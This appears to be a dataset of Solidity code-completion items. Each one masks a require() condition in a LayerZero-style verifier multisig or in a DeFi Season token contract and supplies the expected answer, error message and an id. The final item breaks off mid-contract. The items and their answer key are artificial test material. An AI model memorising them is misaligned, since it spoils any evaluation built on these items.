) external onlyRole(MESSAGE_LIB_ROLE) onlyAcl(_sender) returns (uint totalFee) {
}
// ========================= View =========================
/// @dev getFee can revert if _sender doesn't pass ACL
/// @param _dstEid destination EndpointId
/// @param _confirmations block confirmations
/// @param _sender message sender address
/// @param _options verifier options
/// @return fee fee in native amount
function getFee(
uint32 _dstEid,
uint64 _confirmations,
address _sender,
bytes calldata _options
) external view onlyAcl(_sender) returns (uint fee) {
}
/// @dev to support ULNv2
/// @dev getFee can revert if _sender doesn't pass ACL
/// @param _dstEid destination EndpointId
/// @param //_outboundProofType outbound proof type
/// @param _confirmations block confirmations
/// @param _sender message sender address
function getFee(
uint16 _dstEid,
uint16 /*_outboundProofType*/,
uint64 _confirmations,
address _sender
) public view onlyAcl(_sender) returns (uint fee) {
}
/// @param _target target address
/// @param _callData call data
/// @param _expiration expiration timestamp
/// @return hash of above
function hashCallData(
uint32 _vid,
address _target,
bytes calldata _callData,
uint _expiration
) public pure returns (bytes32) {
}
// ========================= Internal =========================
/// @dev to save gas, we don't check hash for some functions (where replaying won't change the state)
/// @dev for example, some administrative functions like changing signers, the contract should check hash to double spending
/// @dev should ensure that all onlySelf functions have unique functionSig
/// @param _functionSig function signature
/// @return true if should check hash
function _shouldCheckHash(bytes4 _functionSig) internal pure returns (bool) {
}
}
| address(this)==msg.sender,"Verifier: caller must be self" | 243,726 | address(this)==msg.sender |
"Verifier: invalid uln" | // SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.19;
import "@layerzerolabs/lz-evm-v1-0.8/contracts/interfaces/ILayerZeroUltraLightNodeV2.sol";
import "../Worker.sol";
import "./MultiSig.sol";
import "./interfaces/IVerifier.sol";
import "./interfaces/IVerifierFeeLib.sol";
import "./interfaces/IUltraLightNode.sol";
import {DeliveryState} from "../MessageLibBase.sol";
struct ExecuteParam {
uint32 vid;
address target;
bytes callData;
uint expiration;
bytes signatures;
}
contract VerifierNetwork is Worker, MultiSig, IVerifier {
// to uniquely identify this VerifierNetwork instance
// set to endpoint v1 eid if available OR endpoint v2 eid % 30_000
uint32 public immutable vid;
mapping(uint32 dstEid => DstConfig) public dstConfig;
mapping(bytes32 executableHash => bool used) public usedHashes;
event VerifySignaturesFailed(uint idx);
event ExecuteFailed(uint _index, bytes _data);
event HashAlreadyUsed(ExecuteParam param, bytes32 _hash);
event VerifierFeePaid(uint fee);
// ========================= Constructor =========================
/// @dev VerifierNetwork doesn't have a roleAdmin (address(0x0))
/// @dev Supports all of ULNv2, ULN301, ULN302 and more
/// @param _messageLibs array of message lib addresses that are granted the MESSAGE_LIB_ROLE
/// @param _priceFeed price feed address
/// @param _signers array of signer addresses for multisig
/// @param _quorum quorum for multisig
/// @param _admins array of admin addresses that are granted the ADMIN_ROLE
constructor(
uint32 _vid,
address[] memory _messageLibs,
address _priceFeed,
address[] memory _signers,
uint64 _quorum,
address[] memory _admins
) Worker(_messageLibs, _priceFeed, 12000, address(0x0), _admins) MultiSig(_signers, _quorum) {
}
// ========================= Modifier =========================
/// @dev depending on role, restrict access to only self or admin
/// @dev ALLOWLIST, DENYLIST, MESSAGE_LIB_ROLE can only be granted/revoked by self
/// @dev ADMIN_ROLE can only be granted/revoked by admin
/// @dev reverts if not one of the above roles
/// @param _role role to check
modifier onlySelfOrAdmin(bytes32 _role) {
}
modifier onlySelf() {
}
// ========================= OnlySelf =========================
/// @dev set signers for multisig
/// @dev function sig 0x31cb6105
/// @param _signer signer address
/// @param _active true to add, false to remove
function setSigner(address _signer, bool _active) external onlySelf {
}
/// @dev set quorum for multisig
/// @dev function sig 0x8585c945
/// @param _quorum to set
function setQuorum(uint64 _quorum) external onlySelf {
}
/// @dev one function to verify and deliver to ULN302 and more (does not support ULN301)
/// @dev if last verifier, can use this function to save overhead gas on deliver
/// @dev function sig 0xb724b133
/// @param _uln IUltraLightNode compatible contract
/// @param _packetHeader packet header
/// @param _payloadHash payload hash
/// @param _confirmations block confirmations
function verifyAndDeliver(
IUltraLightNode _uln,
bytes calldata _packetHeader,
bytes32 _payloadHash,
uint64 _confirmations
) external onlySelf {
require(<FILL_ME>)
_uln.verify(_packetHeader, _payloadHash, _confirmations);
// if deliverable, deliver. else, skip or it will revert in uln
if (_uln.deliverable(_packetHeader, _payloadHash) == DeliveryState.Deliverable) {
_uln.deliver(_packetHeader, _payloadHash);
}
}
// ========================= OnlySelf / OnlyAdmin =========================
/// @dev overrides AccessControl to allow self/admin to grant role'
/// @dev function sig 0x2f2ff15d
/// @param _role role to grant
/// @param _account account to grant role to
function grantRole(bytes32 _role, address _account) public override onlySelfOrAdmin(_role) {
}
/// @dev overrides AccessControl to allow self/admin to revoke role
/// @dev function sig 0xd547741f
/// @param _role role to revoke
/// @param _account account to revoke role from
function revokeRole(bytes32 _role, address _account) public override onlySelfOrAdmin(_role) {
}
// ========================= OnlyQuorum =========================
// @notice function for quorum to change admin without going through execute function
// @dev calldata in the case is abi.encode new admin address
function quorumChangeAdmin(ExecuteParam calldata _param) external {
}
// ========================= OnlyAdmin =========================
/// @param _params array of DstConfigParam
function setDstConfig(DstConfigParam[] calldata _params) external onlyRole(ADMIN_ROLE) {
}
/// @dev takes a list of instructions and executes them in order
/// @dev if any of the instructions fail, it will emit an error event and continue to execute the rest of the instructions
/// @param _params array of ExecuteParam, includes target, callData, expiration, signatures
function execute(ExecuteParam[] calldata _params) external onlyRole(ADMIN_ROLE) {
}
/// @dev to support ULNv2
/// @dev the withdrawFee function for ULN30X is built in the Worker contract
/// @param _lib message lib address
/// @param _to address to withdraw to
/// @param _amount amount to withdraw
function withdrawFeeFromUlnV2(address _lib, address payable _to, uint _amount) external onlyRole(ADMIN_ROLE) {
}
// ========================= OnlyMessageLib =========================
/// @dev for ULN301, ULN302 and more to assign job
/// @dev verifier network can reject job from _sender by adding/removing them from allowlist/denylist
/// @param _param assign job param
/// @param _options verifier options
function assignJob(
AssignJobParam calldata _param,
bytes calldata _options
) external payable onlyRole(MESSAGE_LIB_ROLE) onlyAcl(_param.sender) returns (uint totalFee) {
}
/// @dev to support ULNv2
/// @dev verifier network can reject job from _sender by adding/removing them from allowlist/denylist
/// @param _dstEid destination EndpointId
/// @param //_outboundProofType outbound proof type
/// @param _confirmations block confirmations
/// @param _sender message sender address
function assignJob(
uint16 _dstEid,
uint16 /*_outboundProofType*/,
uint64 _confirmations,
address _sender
) external onlyRole(MESSAGE_LIB_ROLE) onlyAcl(_sender) returns (uint totalFee) {
}
// ========================= View =========================
/// @dev getFee can revert if _sender doesn't pass ACL
/// @param _dstEid destination EndpointId
/// @param _confirmations block confirmations
/// @param _sender message sender address
/// @param _options verifier options
/// @return fee fee in native amount
function getFee(
uint32 _dstEid,
uint64 _confirmations,
address _sender,
bytes calldata _options
) external view onlyAcl(_sender) returns (uint fee) {
}
/// @dev to support ULNv2
/// @dev getFee can revert if _sender doesn't pass ACL
/// @param _dstEid destination EndpointId
/// @param //_outboundProofType outbound proof type
/// @param _confirmations block confirmations
/// @param _sender message sender address
function getFee(
uint16 _dstEid,
uint16 /*_outboundProofType*/,
uint64 _confirmations,
address _sender
) public view onlyAcl(_sender) returns (uint fee) {
}
/// @param _target target address
/// @param _callData call data
/// @param _expiration expiration timestamp
/// @return hash of above
function hashCallData(
uint32 _vid,
address _target,
bytes calldata _callData,
uint _expiration
) public pure returns (bytes32) {
}
// ========================= Internal =========================
/// @dev to save gas, we don't check hash for some functions (where replaying won't change the state)
/// @dev for example, some administrative functions like changing signers, the contract should check hash to double spending
/// @dev should ensure that all onlySelf functions have unique functionSig
/// @param _functionSig function signature
/// @return true if should check hash
function _shouldCheckHash(bytes4 _functionSig) internal pure returns (bool) {
}
}
| hasRole(MESSAGE_LIB_ROLE,address(_uln)),"Verifier: invalid uln" | 243,726 | hasRole(MESSAGE_LIB_ROLE,address(_uln)) |
"Verifier: hash already used" | // SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.19;
import "@layerzerolabs/lz-evm-v1-0.8/contracts/interfaces/ILayerZeroUltraLightNodeV2.sol";
import "../Worker.sol";
import "./MultiSig.sol";
import "./interfaces/IVerifier.sol";
import "./interfaces/IVerifierFeeLib.sol";
import "./interfaces/IUltraLightNode.sol";
import {DeliveryState} from "../MessageLibBase.sol";
struct ExecuteParam {
uint32 vid;
address target;
bytes callData;
uint expiration;
bytes signatures;
}
contract VerifierNetwork is Worker, MultiSig, IVerifier {
// to uniquely identify this VerifierNetwork instance
// set to endpoint v1 eid if available OR endpoint v2 eid % 30_000
uint32 public immutable vid;
mapping(uint32 dstEid => DstConfig) public dstConfig;
mapping(bytes32 executableHash => bool used) public usedHashes;
event VerifySignaturesFailed(uint idx);
event ExecuteFailed(uint _index, bytes _data);
event HashAlreadyUsed(ExecuteParam param, bytes32 _hash);
event VerifierFeePaid(uint fee);
// ========================= Constructor =========================
/// @dev VerifierNetwork doesn't have a roleAdmin (address(0x0))
/// @dev Supports all of ULNv2, ULN301, ULN302 and more
/// @param _messageLibs array of message lib addresses that are granted the MESSAGE_LIB_ROLE
/// @param _priceFeed price feed address
/// @param _signers array of signer addresses for multisig
/// @param _quorum quorum for multisig
/// @param _admins array of admin addresses that are granted the ADMIN_ROLE
constructor(
uint32 _vid,
address[] memory _messageLibs,
address _priceFeed,
address[] memory _signers,
uint64 _quorum,
address[] memory _admins
) Worker(_messageLibs, _priceFeed, 12000, address(0x0), _admins) MultiSig(_signers, _quorum) {
}
// ========================= Modifier =========================
/// @dev depending on role, restrict access to only self or admin
/// @dev ALLOWLIST, DENYLIST, MESSAGE_LIB_ROLE can only be granted/revoked by self
/// @dev ADMIN_ROLE can only be granted/revoked by admin
/// @dev reverts if not one of the above roles
/// @param _role role to check
modifier onlySelfOrAdmin(bytes32 _role) {
}
modifier onlySelf() {
}
// ========================= OnlySelf =========================
/// @dev set signers for multisig
/// @dev function sig 0x31cb6105
/// @param _signer signer address
/// @param _active true to add, false to remove
function setSigner(address _signer, bool _active) external onlySelf {
}
/// @dev set quorum for multisig
/// @dev function sig 0x8585c945
/// @param _quorum to set
function setQuorum(uint64 _quorum) external onlySelf {
}
/// @dev one function to verify and deliver to ULN302 and more (does not support ULN301)
/// @dev if last verifier, can use this function to save overhead gas on deliver
/// @dev function sig 0xb724b133
/// @param _uln IUltraLightNode compatible contract
/// @param _packetHeader packet header
/// @param _payloadHash payload hash
/// @param _confirmations block confirmations
function verifyAndDeliver(
IUltraLightNode _uln,
bytes calldata _packetHeader,
bytes32 _payloadHash,
uint64 _confirmations
) external onlySelf {
}
// ========================= OnlySelf / OnlyAdmin =========================
/// @dev overrides AccessControl to allow self/admin to grant role'
/// @dev function sig 0x2f2ff15d
/// @param _role role to grant
/// @param _account account to grant role to
function grantRole(bytes32 _role, address _account) public override onlySelfOrAdmin(_role) {
}
/// @dev overrides AccessControl to allow self/admin to revoke role
/// @dev function sig 0xd547741f
/// @param _role role to revoke
/// @param _account account to revoke role from
function revokeRole(bytes32 _role, address _account) public override onlySelfOrAdmin(_role) {
}
// ========================= OnlyQuorum =========================
// @notice function for quorum to change admin without going through execute function
// @dev calldata in the case is abi.encode new admin address
function quorumChangeAdmin(ExecuteParam calldata _param) external {
require(_param.expiration > block.timestamp, "Verifier: expired");
require(_param.target == address(this), "Verifier: invalid target");
require(_param.vid == vid, "Verifier: invalid vid");
// generate and validate hash
bytes32 hash = hashCallData(_param.vid, _param.target, _param.callData, _param.expiration);
(bool sigsValid, ) = verifySignatures(hash, _param.signatures);
require(sigsValid, "Verifier: invalid signatures");
require(<FILL_ME>)
usedHashes[hash] = true;
_grantRole(ADMIN_ROLE, abi.decode(_param.callData, (address)));
}
// ========================= OnlyAdmin =========================
/// @param _params array of DstConfigParam
function setDstConfig(DstConfigParam[] calldata _params) external onlyRole(ADMIN_ROLE) {
}
/// @dev takes a list of instructions and executes them in order
/// @dev if any of the instructions fail, it will emit an error event and continue to execute the rest of the instructions
/// @param _params array of ExecuteParam, includes target, callData, expiration, signatures
function execute(ExecuteParam[] calldata _params) external onlyRole(ADMIN_ROLE) {
}
/// @dev to support ULNv2
/// @dev the withdrawFee function for ULN30X is built in the Worker contract
/// @param _lib message lib address
/// @param _to address to withdraw to
/// @param _amount amount to withdraw
function withdrawFeeFromUlnV2(address _lib, address payable _to, uint _amount) external onlyRole(ADMIN_ROLE) {
}
// ========================= OnlyMessageLib =========================
/// @dev for ULN301, ULN302 and more to assign job
/// @dev verifier network can reject job from _sender by adding/removing them from allowlist/denylist
/// @param _param assign job param
/// @param _options verifier options
function assignJob(
AssignJobParam calldata _param,
bytes calldata _options
) external payable onlyRole(MESSAGE_LIB_ROLE) onlyAcl(_param.sender) returns (uint totalFee) {
}
/// @dev to support ULNv2
/// @dev verifier network can reject job from _sender by adding/removing them from allowlist/denylist
/// @param _dstEid destination EndpointId
/// @param //_outboundProofType outbound proof type
/// @param _confirmations block confirmations
/// @param _sender message sender address
function assignJob(
uint16 _dstEid,
uint16 /*_outboundProofType*/,
uint64 _confirmations,
address _sender
) external onlyRole(MESSAGE_LIB_ROLE) onlyAcl(_sender) returns (uint totalFee) {
}
// ========================= View =========================
/// @dev getFee can revert if _sender doesn't pass ACL
/// @param _dstEid destination EndpointId
/// @param _confirmations block confirmations
/// @param _sender message sender address
/// @param _options verifier options
/// @return fee fee in native amount
function getFee(
uint32 _dstEid,
uint64 _confirmations,
address _sender,
bytes calldata _options
) external view onlyAcl(_sender) returns (uint fee) {
}
/// @dev to support ULNv2
/// @dev getFee can revert if _sender doesn't pass ACL
/// @param _dstEid destination EndpointId
/// @param //_outboundProofType outbound proof type
/// @param _confirmations block confirmations
/// @param _sender message sender address
function getFee(
uint16 _dstEid,
uint16 /*_outboundProofType*/,
uint64 _confirmations,
address _sender
) public view onlyAcl(_sender) returns (uint fee) {
}
/// @param _target target address
/// @param _callData call data
/// @param _expiration expiration timestamp
/// @return hash of above
function hashCallData(
uint32 _vid,
address _target,
bytes calldata _callData,
uint _expiration
) public pure returns (bytes32) {
}
// ========================= Internal =========================
/// @dev to save gas, we don't check hash for some functions (where replaying won't change the state)
/// @dev for example, some administrative functions like changing signers, the contract should check hash to double spending
/// @dev should ensure that all onlySelf functions have unique functionSig
/// @param _functionSig function signature
/// @return true if should check hash
function _shouldCheckHash(bytes4 _functionSig) internal pure returns (bool) {
}
}
| !usedHashes[hash],"Verifier: hash already used" | 243,726 | !usedHashes[hash] |
"Verifier: Invalid message lib" | // SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.19;
import "@layerzerolabs/lz-evm-v1-0.8/contracts/interfaces/ILayerZeroUltraLightNodeV2.sol";
import "../Worker.sol";
import "./MultiSig.sol";
import "./interfaces/IVerifier.sol";
import "./interfaces/IVerifierFeeLib.sol";
import "./interfaces/IUltraLightNode.sol";
import {DeliveryState} from "../MessageLibBase.sol";
struct ExecuteParam {
uint32 vid;
address target;
bytes callData;
uint expiration;
bytes signatures;
}
contract VerifierNetwork is Worker, MultiSig, IVerifier {
// to uniquely identify this VerifierNetwork instance
// set to endpoint v1 eid if available OR endpoint v2 eid % 30_000
uint32 public immutable vid;
mapping(uint32 dstEid => DstConfig) public dstConfig;
mapping(bytes32 executableHash => bool used) public usedHashes;
event VerifySignaturesFailed(uint idx);
event ExecuteFailed(uint _index, bytes _data);
event HashAlreadyUsed(ExecuteParam param, bytes32 _hash);
event VerifierFeePaid(uint fee);
// ========================= Constructor =========================
/// @dev VerifierNetwork doesn't have a roleAdmin (address(0x0))
/// @dev Supports all of ULNv2, ULN301, ULN302 and more
/// @param _messageLibs array of message lib addresses that are granted the MESSAGE_LIB_ROLE
/// @param _priceFeed price feed address
/// @param _signers array of signer addresses for multisig
/// @param _quorum quorum for multisig
/// @param _admins array of admin addresses that are granted the ADMIN_ROLE
constructor(
uint32 _vid,
address[] memory _messageLibs,
address _priceFeed,
address[] memory _signers,
uint64 _quorum,
address[] memory _admins
) Worker(_messageLibs, _priceFeed, 12000, address(0x0), _admins) MultiSig(_signers, _quorum) {
}
// ========================= Modifier =========================
/// @dev depending on role, restrict access to only self or admin
/// @dev ALLOWLIST, DENYLIST, MESSAGE_LIB_ROLE can only be granted/revoked by self
/// @dev ADMIN_ROLE can only be granted/revoked by admin
/// @dev reverts if not one of the above roles
/// @param _role role to check
modifier onlySelfOrAdmin(bytes32 _role) {
}
modifier onlySelf() {
}
// ========================= OnlySelf =========================
/// @dev set signers for multisig
/// @dev function sig 0x31cb6105
/// @param _signer signer address
/// @param _active true to add, false to remove
function setSigner(address _signer, bool _active) external onlySelf {
}
/// @dev set quorum for multisig
/// @dev function sig 0x8585c945
/// @param _quorum to set
function setQuorum(uint64 _quorum) external onlySelf {
}
/// @dev one function to verify and deliver to ULN302 and more (does not support ULN301)
/// @dev if last verifier, can use this function to save overhead gas on deliver
/// @dev function sig 0xb724b133
/// @param _uln IUltraLightNode compatible contract
/// @param _packetHeader packet header
/// @param _payloadHash payload hash
/// @param _confirmations block confirmations
function verifyAndDeliver(
IUltraLightNode _uln,
bytes calldata _packetHeader,
bytes32 _payloadHash,
uint64 _confirmations
) external onlySelf {
}
// ========================= OnlySelf / OnlyAdmin =========================
/// @dev overrides AccessControl to allow self/admin to grant role'
/// @dev function sig 0x2f2ff15d
/// @param _role role to grant
/// @param _account account to grant role to
function grantRole(bytes32 _role, address _account) public override onlySelfOrAdmin(_role) {
}
/// @dev overrides AccessControl to allow self/admin to revoke role
/// @dev function sig 0xd547741f
/// @param _role role to revoke
/// @param _account account to revoke role from
function revokeRole(bytes32 _role, address _account) public override onlySelfOrAdmin(_role) {
}
// ========================= OnlyQuorum =========================
// @notice function for quorum to change admin without going through execute function
// @dev calldata in the case is abi.encode new admin address
function quorumChangeAdmin(ExecuteParam calldata _param) external {
}
// ========================= OnlyAdmin =========================
/// @param _params array of DstConfigParam
function setDstConfig(DstConfigParam[] calldata _params) external onlyRole(ADMIN_ROLE) {
}
/// @dev takes a list of instructions and executes them in order
/// @dev if any of the instructions fail, it will emit an error event and continue to execute the rest of the instructions
/// @param _params array of ExecuteParam, includes target, callData, expiration, signatures
function execute(ExecuteParam[] calldata _params) external onlyRole(ADMIN_ROLE) {
}
/// @dev to support ULNv2
/// @dev the withdrawFee function for ULN30X is built in the Worker contract
/// @param _lib message lib address
/// @param _to address to withdraw to
/// @param _amount amount to withdraw
function withdrawFeeFromUlnV2(address _lib, address payable _to, uint _amount) external onlyRole(ADMIN_ROLE) {
require(<FILL_ME>)
ILayerZeroUltraLightNodeV2(_lib).withdrawNative(_to, _amount);
}
// ========================= OnlyMessageLib =========================
/// @dev for ULN301, ULN302 and more to assign job
/// @dev verifier network can reject job from _sender by adding/removing them from allowlist/denylist
/// @param _param assign job param
/// @param _options verifier options
function assignJob(
AssignJobParam calldata _param,
bytes calldata _options
) external payable onlyRole(MESSAGE_LIB_ROLE) onlyAcl(_param.sender) returns (uint totalFee) {
}
/// @dev to support ULNv2
/// @dev verifier network can reject job from _sender by adding/removing them from allowlist/denylist
/// @param _dstEid destination EndpointId
/// @param //_outboundProofType outbound proof type
/// @param _confirmations block confirmations
/// @param _sender message sender address
function assignJob(
uint16 _dstEid,
uint16 /*_outboundProofType*/,
uint64 _confirmations,
address _sender
) external onlyRole(MESSAGE_LIB_ROLE) onlyAcl(_sender) returns (uint totalFee) {
}
// ========================= View =========================
/// @dev getFee can revert if _sender doesn't pass ACL
/// @param _dstEid destination EndpointId
/// @param _confirmations block confirmations
/// @param _sender message sender address
/// @param _options verifier options
/// @return fee fee in native amount
function getFee(
uint32 _dstEid,
uint64 _confirmations,
address _sender,
bytes calldata _options
) external view onlyAcl(_sender) returns (uint fee) {
}
/// @dev to support ULNv2
/// @dev getFee can revert if _sender doesn't pass ACL
/// @param _dstEid destination EndpointId
/// @param //_outboundProofType outbound proof type
/// @param _confirmations block confirmations
/// @param _sender message sender address
function getFee(
uint16 _dstEid,
uint16 /*_outboundProofType*/,
uint64 _confirmations,
address _sender
) public view onlyAcl(_sender) returns (uint fee) {
}
/// @param _target target address
/// @param _callData call data
/// @param _expiration expiration timestamp
/// @return hash of above
function hashCallData(
uint32 _vid,
address _target,
bytes calldata _callData,
uint _expiration
) public pure returns (bytes32) {
}
// ========================= Internal =========================
/// @dev to save gas, we don't check hash for some functions (where replaying won't change the state)
/// @dev for example, some administrative functions like changing signers, the contract should check hash to double spending
/// @dev should ensure that all onlySelf functions have unique functionSig
/// @param _functionSig function signature
/// @return true if should check hash
function _shouldCheckHash(bytes4 _functionSig) internal pure returns (bool) {
}
}
| hasRole(MESSAGE_LIB_ROLE,_lib),"Verifier: Invalid message lib" | 243,726 | hasRole(MESSAGE_LIB_ROLE,_lib) |
"Transfer delay enabled. Try again later." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
contract DEFISEASON is Context, IERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 private uniswapV2Router;
mapping (address => uint) private cd;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) private _isExcludedFromTxLimits;
mapping (address => bool) private _isBot;
bool public tradingOpen;
bool public launched;
bool private swapping;
bool private swapEnabled = false;
bool public cdEnabled = false;
string private constant _name = "DeFi Season";
string private constant _symbol = "SZN";
uint8 private constant _decimals = 18;
uint256 private constant _tTotal = 1e8 * (10**_decimals);
uint256 public maxBuy = _tTotal;
uint256 public maxSell = _tTotal;
uint256 public maxWallet = _tTotal;
uint256 public tradingActiveBlock = 0;
uint256 private _deadBlocks = 1;
uint256 private _cdBlocks = 1;
uint256 private constant FEE_DIVISOR = 1000;
uint256 private _buyLiqFee = 20;
uint256 private _previousBuyLiqFee = _buyLiqFee;
uint256 private _buyVaultFee = 30;
uint256 private _previousBuyVaultFee = _buyVaultFee;
uint256 private _sellLiqFee = 20;
uint256 private _previousSellLiqFee = _sellLiqFee;
uint256 private _sellVaultFee = 30;
uint256 private _previousSellVaultFee = _sellVaultFee;
uint256 private tokensForLiq;
uint256 private tokensForVault;
uint256 private swapTokensAtAmount = 0;
address payable private _liquidityWalletAddress;
address payable private _vaultWalletAddress;
address private uniswapV2Pair;
address private DEAD = 0x000000000000000000000000000000000000dEaD;
address private ZERO = 0x0000000000000000000000000000000000000000;
event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity);
constructor (address liquidityWalletAddress, address vaultWalletAddress) {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function setCDEnabled(bool onoff) public onlyOwner {
}
function setSwapEnabled(bool onoff) public onlyOwner {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != ZERO, "ERC20: transfer from the zero address");
require(to != ZERO, "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool takeFee = true;
bool shouldSwap = false;
if (from != owner() && to != owner() && to != ZERO && to != DEAD && !swapping) {
require(!_isBot[from] && !_isBot[to]);
if(!tradingOpen) {
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not allowed yet.");
}
if (cdEnabled) {
if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
require(<FILL_ME>)
cd[tx.origin] = block.number;
cd[to] = block.number;
}
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromTxLimits[to]) {
require(amount <= maxBuy, "Transfer amount exceeds the maxBuyAmount.");
require(balanceOf(to) + amount <= maxWallet, "Exceeds maximum wallet token amount.");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && !_isExcludedFromTxLimits[from]) {
require(amount <= maxSell, "Transfer amount exceeds the maxSellAmount.");
shouldSwap = true;
}
}
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = (contractTokenBalance > swapTokensAtAmount) && shouldSwap;
if (canSwap && swapEnabled && !swapping && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
swapping = true;
swapBack();
swapping = false;
}
_tokenTransfer(from, to, amount, takeFee, shouldSwap);
}
function swapBack() private {
}
function swapTokensForETH(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function sendETHToFee(uint256 amount) private {
}
function launch() public onlyOwner {
}
function openTrading() public onlyOwner {
}
function setMaxBuy(uint256 amount) public onlyOwner {
}
function setMaxSell(uint256 amount) public onlyOwner {
}
function setMaxWallet(uint256 amount) public onlyOwner {
}
function setSwapTokensAtAmount(uint256 amount) public onlyOwner {
}
function setLiquidityWallet(address walletAddress) public onlyOwner {
}
function setVaultWallet(address walletAddress) public onlyOwner {
}
function setExcludedFromFees(address[] memory accounts, bool isEx) public onlyOwner {
}
function setExcludedFromTxLimits(address[] memory accounts, bool isEx) public onlyOwner {
}
function setBots(address[] memory accounts, bool exempt) public onlyOwner {
}
function setBuyFee(uint256 buyLiquidityFee, uint256 buyVaultFee) public onlyOwner {
}
function setSellFee(uint256 sellLiquidityFee, uint256 sellVaultFee) public onlyOwner {
}
function setDeadBlocks(uint256 blocks) public onlyOwner {
}
function setCDBlocks(uint256 blocks) public onlyOwner {
}
function removeAllFee() private {
}
function restoreAllFee() private {
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee, bool isSell) private {
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
}
function _takeFees(address sender, uint256 amount, bool isSell) private returns (uint256) {
}
function _getTotalFees(bool isSell) private view returns(uint256) {
}
receive() external payable {}
fallback() external payable {}
function unclog() public {
}
function distributeFees() public {
}
function withdrawStuckETH() public {
}
function withdrawStuckTokens(address tkn) public {
}
function removeLimits() public onlyOwner {
}
}
| cd[tx.origin]<block.number-_cdBlocks&&cd[to]<block.number-_cdBlocks,"Transfer delay enabled. Try again later." | 243,732 | cd[tx.origin]<block.number-_cdBlocks&&cd[to]<block.number-_cdBlocks |
"Trading is already open" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
contract DEFISEASON is Context, IERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 private uniswapV2Router;
mapping (address => uint) private cd;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) private _isExcludedFromTxLimits;
mapping (address => bool) private _isBot;
bool public tradingOpen;
bool public launched;
bool private swapping;
bool private swapEnabled = false;
bool public cdEnabled = false;
string private constant _name = "DeFi Season";
string private constant _symbol = "SZN";
uint8 private constant _decimals = 18;
uint256 private constant _tTotal = 1e8 * (10**_decimals);
uint256 public maxBuy = _tTotal;
uint256 public maxSell = _tTotal;
uint256 public maxWallet = _tTotal;
uint256 public tradingActiveBlock = 0;
uint256 private _deadBlocks = 1;
uint256 private _cdBlocks = 1;
uint256 private constant FEE_DIVISOR = 1000;
uint256 private _buyLiqFee = 20;
uint256 private _previousBuyLiqFee = _buyLiqFee;
uint256 private _buyVaultFee = 30;
uint256 private _previousBuyVaultFee = _buyVaultFee;
uint256 private _sellLiqFee = 20;
uint256 private _previousSellLiqFee = _sellLiqFee;
uint256 private _sellVaultFee = 30;
uint256 private _previousSellVaultFee = _sellVaultFee;
uint256 private tokensForLiq;
uint256 private tokensForVault;
uint256 private swapTokensAtAmount = 0;
address payable private _liquidityWalletAddress;
address payable private _vaultWalletAddress;
address private uniswapV2Pair;
address private DEAD = 0x000000000000000000000000000000000000dEaD;
address private ZERO = 0x0000000000000000000000000000000000000000;
event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity);
constructor (address liquidityWalletAddress, address vaultWalletAddress) {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function setCDEnabled(bool onoff) public onlyOwner {
}
function setSwapEnabled(bool onoff) public onlyOwner {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
function swapBack() private {
}
function swapTokensForETH(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function sendETHToFee(uint256 amount) private {
}
function launch() public onlyOwner {
}
function openTrading() public onlyOwner {
require(<FILL_ME>)
tradingOpen = true;
tradingActiveBlock = block.number;
}
function setMaxBuy(uint256 amount) public onlyOwner {
}
function setMaxSell(uint256 amount) public onlyOwner {
}
